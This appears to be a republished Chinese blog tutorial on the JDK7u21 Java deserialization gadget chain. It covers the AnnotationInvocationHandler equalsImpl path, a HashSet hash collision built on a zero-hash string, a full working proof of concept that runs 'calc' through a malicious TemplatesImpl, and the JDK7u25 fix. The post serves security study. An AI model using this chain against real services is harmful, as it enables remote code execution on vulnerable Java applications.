服务粉丝

我们一直在努力
当前位置:首页 > 财经 >

JAVA安全|Gadget篇:JDK原生链—JDK7u21

日期: 来源:沃克学安全收集编辑:walker1995

本文为JAVA安全系列文章第二十一篇。

在没有合适的第三方库存在时,我们仍然有两条原生链可以利用—JDK7u21和JDK8u20。本文学习JDK7u21这条原生链。

0x01  JDK7u21链的核心原理

一、回顾与思考

此前学了CC链和CB链,那么思考下CC链和CB链能触发RCE的核心是什么?

CC链自然是那一系列实现了Transformer接口的类,尤其是InvokerTransformer和 InstantiateTransformer。

CB链是PropertyUtils#getProperty(),它是通过反射调用任意对象的getter()方法。

在一些链中,最终是利用TemplatesImpl来RCE的,其核心是动态字节码加载。

总结下来,反序列化利用链的核心就是“动态方法执行”。不管是能调用任意对象的任意方法,任意对象的固定方法,动态字节码加载,都可能会RCE。

二、JDK7u21核心原理

JDK7u21的核心点是 sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl。

AnnotationInvocationHandler这个类我们在CC1和CC3链中已经见过了,此前关注的是它的readObject()和invoke() 方法,这次我们来看下它的equalsImpl方法:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
   private final Class<? extends Annotation> type;
   private final Map<String, Object> memberValues;
   
   AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
       this.type = type;
       this.memberValues = memberValues;
  }
   
   /**
    * Implementation of dynamicProxy.equals(Object o)
    */
   private Boolean equalsImpl(Object o) {
       if (o == this)
           return true;

       if (!type.isInstance(o))
           return false;
       for (Method memberMethod : getMemberMethods()) {
           String member = memberMethod.getName();
           Object ourValue = memberValues.get(member);
           Object hisValue = null;
           AnnotationInvocationHandler hisHandler = asOneOfUs(o);
           if (hisHandler != null) {
               hisValue = hisHandler.memberValues.get(member);
          } else {
               try {
                   hisValue = memberMethod.invoke(o);
              } catch (InvocationTargetException e) {
                   return false;
              } catch (IllegalAccessException e) {
                   throw new AssertionError(e);
              }
          }
           if (!memberValueEquals(ourValue, hisValue))
               return false;
      }
       return true;
  }
}

很明显,这里的memberMethod.invoke(o)是一个动态方法执行,这就是核心点。

这里简单分析下equalsImpl()的代码:

getMemberMethods()方法是通过getDeclaredMethods()获取type属性的所有成员方法:

asOneOfUs()中如果o是一个调用处理器为AnnotationInvocationHandler对象的动态代理时,则返回该动态代理的调用处理器;如果不是则返回null:

显然,此处只要我们传入的o不是带有AnnotationInvocationHandler调用处理器的动态代理对象时,就会返回null,从而进入到else,执行memberMethod.invoke(o)。

equalsImpl()方法就是假如比较的对象o不是带有AnnotationInvocationHandler的动态代理对象时,就将 type属性中的所有方法遍历并执行了。

那么,假设type和o都是Templates的class对象,则必然会调用到其中的 newTransformer() 或 getOutputProperties() 方法,进而触发任意代码执行。

这就是JDK7u21的核心原理。

三、一个思考

有读者会发现,此处AnnotationInvocationHandler的构造器不是声明type是继承Annotation的class对象了么:

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)

我们能传入type为Templates的class对象?

答案是能!!!原因有两个:

第一,因为AnnotationInvocationHandler这个类我们不能通过外部直接调用,只能通过反射,而通过反射调用时type属性的类型为java.lang.Class:

也就是说通过反射调用使得type属性类型的范围变大了。

第二,就是在AnnotationInvocationHandler#readObject()中,对type的检查只是捕获异常然后返回,而不是抛出异常,这并不影响反序列化的执行过程:

private void readObject(java.io.ObjectInputStream s)
       throws java.io.IOException, ClassNotFoundException {
       s.defaultReadObject();
       // Check to make sure that types have not evolved incompatibly

       AnnotationType annotationType = null;
       try {
           annotationType = AnnotationType.getInstance(type);
      } catch(IllegalArgumentException e) {
           // Class is no longer an annotation type; all bets are off
           return;
      }
  ...
}

这也涉及到了修复的问题。

0x02  JDK7u21链的调用逻辑分析

一、如何调用AnnotationInvocationHandler#equalsImpl()

通过equalsImpl()的代码注释我们知道,它就是对带有AnnotationInvocationHandler的动态代理的equals方法的实现。

回忆下前面学习的动态代理,当调用动态代理对象的任意一个方法,就会执行到 InvocationHandler#invoke。那么我们就来看AnnotationInvocationHandler#invoke中是怎么调用equals的:

public Object invoke(Object proxy, Method method, Object[] args) {
   String member = method.getName();
   Class<?>[] paramTypes = method.getParameterTypes();

   // Handle Object and Annotation methods
   if (member.equals("equals") && paramTypes.length == 1 &&
       paramTypes[0] == Object.class)
       return equalsImpl(args[0]);
  ...
}

可见当方法名等于“equals”,且仅有一个Object类型参数时,会调用到 equalImpl 方法。故问题变成,我们需要找到一个类,在反序列化时可以对proxy调用equals方法。

二、反序列化时调用equals的类分析

反序列化时调用equals,很明显是要进行比较,根据前面分析几条链子的经验,首先会想到什么?

HashMap,HashTable,HashSet。因为这三个的底层都是HashMap,而HashMap的底层是数组+链表。学习CC7链时,我们知道HashTable在反序列化时为了保证key不重复,会先对key进行hash计算,根据hash得到索引,如果两个key的hash相同,就会调用equals进行比较。

那么其实HashMap,HashSet也是一样的逻辑。区别在于HashMap和HashTable是双列的,HashSet是单列的,而我们关心的只是key,至于value为多少,无所谓,所以此处我们就来分析HashSet。

三、equals调用链

我们来看下HashSet的readObject():

当反序列化的对象是LinkedHashSet(有序的HashSet)时,创建的是LinkedHashMap;否则创建的是HashMap,然后从反序列化流中循环读取,使用put添加key-value。

跟进map.put():

此处就很清晰了,我们希望进行equals比较的是Proxy.equals(templates)这样就能触发RCE了。

那么重点就是在于我们要在HashSet中构造hash相等的Proxy对象和Templates对象。和CC7链时一样,重点在于构造哈希碰撞。

四、构造哈希碰撞
1.hash计算

跟进hash(key)看看是如何计算hash的:

final int hash(Object k) {
   int h = 0;
   if (useAltHashing) {
       if (k instanceof String) {
           return sun.misc.Hashing.stringHash32((String) k);
      }
       h = hashSeed;
  }

   h ^= k.hashCode();

   // This function ensures that hashCodes that differ only by
   // constant multiples at each bit position have a bounded
   // number of collisions (approximately 8 at default load factor).
   h ^= (h >>> 20) ^ (h >>> 12);
   return h ^ (h >>> 7) ^ (h >>> 4);
}

可以看到此处除了k.hashCode() 外再没有其他变量,所以proxy对象与TemplateImpl对象的“哈希”是否相等,仅取决于这两个对象的hashCode() 是否相等。

但我们按照分析CC7链时的方法去找TemplatesImpl的hashCode()时,会发现它是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的,所以想让proxy的 hashCode() 与之相等,只能寄希望于Proxy.hashCode() ,而Proxy.hashCode() 仍然会调用到 AnnotationInvocationHandler#invoke ,进而调用到 AnnotationInvocationHandler#hashCodeImpl:

/**
* Implementation of dynamicProxy.hashCode()
*/
private int hashCodeImpl() {
   int result = 0;
   for (Map.Entry<String, Object> e : memberValues.entrySet()) {
       result += (127 * e.getKey().hashCode()) ^
           memberValueHashCode(e.getValue());
  }
   return result;
}

/**
* Computes hashCode of a member value (in "dynamic proxy return form")
*/
private static int memberValueHashCode(Object value) {
   Class<?> type = value.getClass();
   if (!type.isArray())    // primitive, string, class, enum const,
                               // or annotation
      return value.hashCode();
  ...
}

遍历memberValues 这个Map中的每个key和value,计算每个 (127 * key.hashCode()) ^ value.hashCode() 并求和。

2.哈希碰撞

这里是如何构造哈希碰撞的呢?

1.当memberValues中只有一个key和一个value时,该哈希简化成 (127 * key.hashCode()) ^ value.hashCode()

2.当 key.hashCode() 等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成 value.hashCode()

3.当value就是TemplateImpl对象时,这两个哈希就变成完全相等。

故此处我们需要找到一个hashCode是0的对象作为memberValues的key,将恶意TemplateImpl对象作为value,这个proxy计算的hashCode就与TemplateImpl对象本身的hashCode相等了。

那么如何找到一个hashCode是0的对象呢?我们写一个爆破程序来运行,最终找到f5a5a608这个字符串:

0x03  POC编写

一、创建一个恶意TemplatesImpl对象

由于JDK7u21并没有自带Base64模块来解码,故此处创建TemplatesImpl对象与此前稍有不同。我先写了一个Evil类:

public class Evil extends AbstractTranslet {
   public void transform(DOM document, SerializationHandler[] handlers)
           throws TransletException {}
   public void transform(DOM document, DTMAxisIterator iterator,
                         SerializationHandler handler) throws TransletException {}

   public Evil() throws IOException {
       Runtime.getRuntime().exec("calc");
  }
}

然后面向百度复制粘贴编程,写一个通过传入类名来读取字节码的方法:

public static byte[] getClassByteCode(String className) {
   String jarname = "/" + className.replace('.', '/') + ".class";
   InputStream is = JDK7u21.class.getResourceAsStream(jarname);

   ByteArrayOutputStream bytestream = new ByteArrayOutputStream();
   int ch;
   byte imgdata[] = null;
   try {
       while ((ch = is.read()) != -1) {
           bytestream.write(ch);
      }
       imgdata = bytestream.toByteArray();
  } catch (IOException e) {
       e.printStackTrace();
  } finally {
       try {
           bytestream.close();
      } catch (IOException e) {
           e.printStackTrace();
      }
  }
   return imgdata;
}
二、使用反射实例化一个AnnotationInvocationHandler对象

1.type属性是一中创建的TemplateImpl类的class对象

2.memberValues属性是一个Map,Map只有一个key和value,key是字符串f5a5a608,value先传入一个人畜无害的东东,避免后面HashSet进行add时,就触发RCE:

public boolean add(E e) {
   return map.put(e, PRESENT)==null;
}
三、创建Proxy对象

使用二中实例化的AnnotationInvocationHandler对象创建一个动态代理对象proxy,代理的接口可以是任意的(因为动态代理关注的是InvocationHandler#invoke()),类加载器用系统默认的AppClassLoader就可以

四、构造HashSet

实例化一个LinkedHashSet,可以使用HashSet进行引用,该HashSet中有两个对象:先加入一中创建的恶意TemplatesImpl对象,再加入三中创建的动态代理对象proxy。

这是因为HashSet是无序的,即添加和取出的元素顺序是不一样的,为了保证进行equals比较的是proxy.equals(templates),故采用LinkedHashSet。同样,此处采用LinkedHashMap也可以。

五、序列化并反序列化HashSet

最后将之前人畜无害的value改为一中创建的恶意TemplatesImpl对象,HashSet进行反序列化,运行弹出计算器:

代码如下:

public class JDK7u21 {
   public static void main(String[] args) throws Exception {
       TemplatesImpl templates = new TemplatesImpl();
       byte[] code = getClassByteCode("Evil");
       setFieldValue(templates,"_bytecodes",new byte[][]{code});
       setFieldValue(templates,"_name","Evil");
       setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

       HashMap map = new HashMap();
       //value传入人畜无害的1,避免add时就弹计算器
       map.put("f5a5a608",1);

       Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
       Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
       constructor.setAccessible(true);
       InvocationHandler handler = (InvocationHandler)constructor.newInstance(Templates.class, map);

       //此处可代理任意接口
       SuppressWarnings proxy = (SuppressWarnings)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{SuppressWarnings.class}, handler);

       //使用LinkedHashSet为了保证进行equals比较的是proxy.equals(templates)
       HashSet hashSet = new LinkedHashSet();
       hashSet.add(templates);
       hashSet.add(proxy);

       //使用LinkedHashMap也可以
//       HashMap hashMap = new LinkedHashMap();
//       hashMap.put(templates,1);
//       hashMap.put(proxy,2);
       //将之前人畜无害的value改为恶意templates
       map.put("f5a5a608",templates);

       ByteArrayOutputStream barr = new ByteArrayOutputStream();
       ObjectOutputStream oos = new ObjectOutputStream(barr);
       oos.writeObject(hashSet);
       oos.close();

       ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
       Object o = (Object) ois.readObject();

  }

   public static void setFieldValue(Object obj,String field,Object value) throws NoSuchFieldException, IllegalAccessException {
       Class<?> clazz = obj.getClass();
       Field declaredField = clazz.getDeclaredField(field);
       declaredField.setAccessible(true);
       declaredField.set(obj,value);
  }
}

0x04  总结

一、JDK7u21链原理

1.HashSet在反序列化时为了保证元素不重复,会使用HashMap的key来做去重,通过计算key的hash得到索引,若两个key的hash相同,就会调用equals进行比较。

2.此时我们精心构造hash相等的Templates对象和Proxy对象(handler为AnnotationInvocationHandler),从而调用AnnotationInvocationHandler#equalsImpl,该方法会将 type属性中的所有方法遍历并执行了。

3.此时我们传入的type和比较对象都是恶意Templates对象,则必然会调用到其中的 newTransformer() 或 getOutputProperties() 方法,进而触发任意代码执行。

二、关于POC的几点说明

1.POC中,type属性可以传入为Templates类的class对象的原因有两个:

第一,我们是通过反射调用AnnotationInvocationHandler及其构造器的,这使得type属性的类型扩大成了java.lang.Class,即我们反射调用构造器时只要传入的是Class.class类型就不会出错;

第二,JDK7u21中AnnotationInvocationHandler反序列化时对type属性类型进行检查后直接return,而不是抛出异常,并不影响反序列化执行过程。

2.JDK7u21 POC中的动态代理对象,可以代理任意接口;

3.POC中使用LinkedHashSet是因为templates和proxy对象是有先后顺序的,HashSet是无序的,所以使用HashSet,可能触发不了RCE。此处的LinkedHashSet也可以采用LinkedHashMap。

三、JDK7u21是否影响JDK6和JDK8

以下引用自p神《JAVA安全漫谈》

Java的版本是多个分支同时开发的,并不意味着JDK7的所有东西都一定比JDK6新,所以,当看到这个利用链适配7u21的时候,我们不能先入为主地认为JDK6一定都受影响。

Oracle JDK6一共发布了30多个公开的版本,最后一个公开版本是6u45,在2013年发布。此后,Oracle 公司就不再发布免费的更新了,但是付费用户仍然可以获得Java 6的更新,最新的Java 6版本是6u221。其中,公开版本的最新版6u45仍然存在这条利用链,大概是6u51的时候修复了这个漏洞,但是这个结论不能肯定,因为免费用户下载不到这个版本。

JDK8在发布时,JDK7已经修复了这个问题,所以JDK8全版本都不受影响。

四、JDK7u21的修复

以下引用自p神《JAVA安全漫谈》

JDK7u25中的修复:

https://github.com/openjdk/jdk7u/commit/b3dd6104b67d2a03b94a4a061f7a473bb0d2dc4e

在 sun.reflect.annotation.AnnotationInvocationHandler类的readObject函数中,原本有一个对 this.type 的检查,在其不是AnnotationType的情况下应抛出一个异常。但是,捕获到异常后没有做任何事情,只是将这个函数返回了,这样并不影响整个反序列化的执行过程。

新版中,将 return; 修改成 throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); ,这样,反序列化时会出现一个异常,导致整个过程停止。

这个修复方式看起来击中要害,实际上仍然存在问题,这也导致后面的另一条原生利用链JDK8u20。


参考许少的学习路线,我们对常见反序列化链的学习也接近尾声,是时候可以开启新的篇章,学习其他类型的知识了。同时通过对常见链子的学习,我们的基础还有javaasist需要补充。故后续几篇打算更javaasist,反序列化协议,RMI和JNDI的内容。


参考:

p神《JAVA安全漫谈》


Java安全系列文集

第0篇:JAVA安全|即将开启:java安全系列文章

第1篇:JAVA安全|基础篇:认识java反序列化

第2篇:JAVA安全|基础篇:实战java原生反序列化

第3篇:JAVA安全|基础篇:反射机制之快速入门

第4篇:JAVA安全|基础篇:反射机制之Class类

第5篇:JAVA安全|基础篇:反射机制之类加载

第6篇:JAVA安全|基础篇:反射机制之常见ReflectionAPI使用

第7篇:JAVA安全|Gadget篇:URLDNS链

第8篇:JAVA安全|Gadget篇:TransformedMap CC1链

第9篇:JAVA安全|基础篇:反射的应用—动态代理

第10篇:JAVA安全|Gadget篇:LazyMap CC1链

第11篇:JAVA安全|Gadget篇:无JDK版本限制的CC6链

第12篇:JAVA安全|基础篇:动态字节码加载(一)

第13篇:JAVA安全|基础篇:动态字节码加载(二)

第14篇:JAVA安全|Gadget篇:CC3链及其通杀改造

第15篇:JAVA安全|Gadget篇:CC依赖下为shiro反序列化利用而生的CCK1 CC11链

第16篇:JAVA安全|Gadget篇:CC5 CC7链

第17篇:JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

第18篇:JAVA安全|Gadget篇:CC8 CC9链

第19篇:JAVA安全|Gadget篇:Ysoserial CB1链

第20篇:JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析


如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~


相关阅读

  • JAVA安全|字节码篇:字节码操作库—javassist

  • 0x00 前言 原本打算把这部分内容放到基础篇章的,但随着我的学习,发现这一部分内容其实并不基础,于是又单独开了字节码篇章。这一篇章的主要内容为Javassist、ASM这两个字节
  • 对学校系统开展的一次完整渗透

  • 声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试
  • Spring环境下有关内存马的回显总结

  • 0x01 前言在学习各种内存马的过程中,关注到了观星实验室的一篇文章,较为全面的列举了在Spring环境下的有关内存马的实现技巧这里我们深入进行学习学习一下0x02 正文前景回顾网
  • 详解 Java 泛型,写得太好了!

  • -正文泛型—— 一种可以接收数据类型的数据类型,本文将通俗讲解Java泛型的优点、方法及相关细节。一、泛型的引入我们都知道,继承是面向对象的三大特性之一,比如在我们向集合中
  • 一文深入理解 Java 的四种引用类型

  • 这是 JsonChao 的第 318 期分享前言Java Reference 类型是与虚拟机垃圾回收机制密切相关的知识点,同时也是面试重要考点之一。一般认为 Java 有四种 Reference(强引用 & 软引
  • 为什么 finalize() 方法只会执行一次?

  • 这是 JsonChao 的第 323 期分享前言Java Finalizer 机制提供了一个在对象被回收之前释放占用资源的时机,但是都说 Finalizer 机制是不稳定且危险的,不推荐使用,这是为什么呢?今

热门文章

  • “复活”半年后 京东拍拍二手杀入公益事业

  • 京东拍拍二手“复活”半年后,杀入公益事业,试图让企业捐的赠品、家庭闲置品变成实实在在的“爱心”。 把“闲置品”变爱心 6月12日,“益心一益·守护梦想每一步”2018年四

最新文章

  • JAVA安全|Gadget篇:JDK原生链—JDK7u21

  • 本文为JAVA安全系列文章第二十一篇。在没有合适的第三方库存在时,我们仍然有两条原生链可以利用—JDK7u21和JDK8u20。本文学习JDK7u21这条原生链。0x01 JDK7u21链的核心原理
  • JAVA安全|字节码篇:字节码操作库—javassist

  • 0x00 前言 原本打算把这部分内容放到基础篇章的,但随着我的学习,发现这一部分内容其实并不基础,于是又单独开了字节码篇章。这一篇章的主要内容为Javassist、ASM这两个字节
  • 对学校系统开展的一次完整渗透

  • 声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试
  • 实战 | 记一次挖矿应急响应案例

  • 声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试
  • 实战 | 记一次从登录框到内网横向

  • 声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试
  • GitHub监控和信息收集工具

  • 声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试